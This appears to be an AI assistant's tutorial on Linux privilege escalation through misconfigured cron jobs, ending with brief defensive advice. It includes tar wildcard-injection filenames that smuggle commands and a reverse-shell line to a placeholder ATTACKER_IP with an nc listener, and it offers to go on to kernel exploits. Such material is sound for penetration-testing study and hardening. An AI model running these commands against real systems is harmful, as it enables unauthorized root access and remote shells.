Alright — **Crontab-based privilege escalation** is another classic way to move from a low-privileged foothold to full control when you find **misconfigured scheduled tasks**.

**1. How Crontab Works**

* The **cron daemon** runs scheduled commands at fixed times.
* Cron jobs can be **system-wide** (/etc/crontab, /etc/cron.\*) or **per user** (via crontab -e).
* If a cron job runs as **root**, anything it executes inherits **root privileges**.

**2. Misconfigurations to Look For**

When you have access to a system, check:

**a) World-writable scripts**

cat /etc/crontab

or

ls -l /etc/cron\* /var/spool/cron/crontabs

If you see something like:

\* \* \* \* \* root /path/to/script.sh

…and script.sh is writable by you:

ls -l /path/to/script.sh

then you can modify it to run malicious commands.

**b) Writable directories in cron PATH**

If the cron job calls a binary without full path:

\* \* \* \* \* root backup

…and backup isn’t in /bin/backup but in a writable directory you control, you can drop your own **malicious backup** file in that directory.

**c) Cron jobs with wildcard injection**

Sometimes cron jobs run:

tar cvf /backup/backup.tar \*

If you can write to /backup/, you can create files with special names like:

touch /backup/--checkpoint=1

touch /backup/--checkpoint-action=exec=sh\ rootme.sh

…which executes your rootme.sh as root when the cron runs.

**3. Exploitation Example**

Let’s say /etc/crontab contains:

\* \* \* \* \* root /opt/backup.sh

and you have write permissions:

echo 'bash -i >& /dev/tcp/ATTACKER\_IP/4444 0>&1' >> /opt/backup.sh

Set up a listener:

nc -lvnp 4444

Wait a minute… and you’ll have a **root shell**.

**4. Finding Cron Jobs**

cat /etc/crontab

ls -l /etc/cron.\*

crontab -l # for current user

**5. Defense**

* Ensure scripts run by root are owned by root and not world-writable.
* Use **absolute paths** in cron jobs.
* Restrict write permissions on cron directories.
* Monitor changes to /etc/crontab and cron scripts.

If you want, I can next walk you through **"Kernel Exploit Suggestor" privilege escalation**, which is another step after Metasploit shell access — works when cron and sudoers tricks fail.  
Would you like me to move to that one next?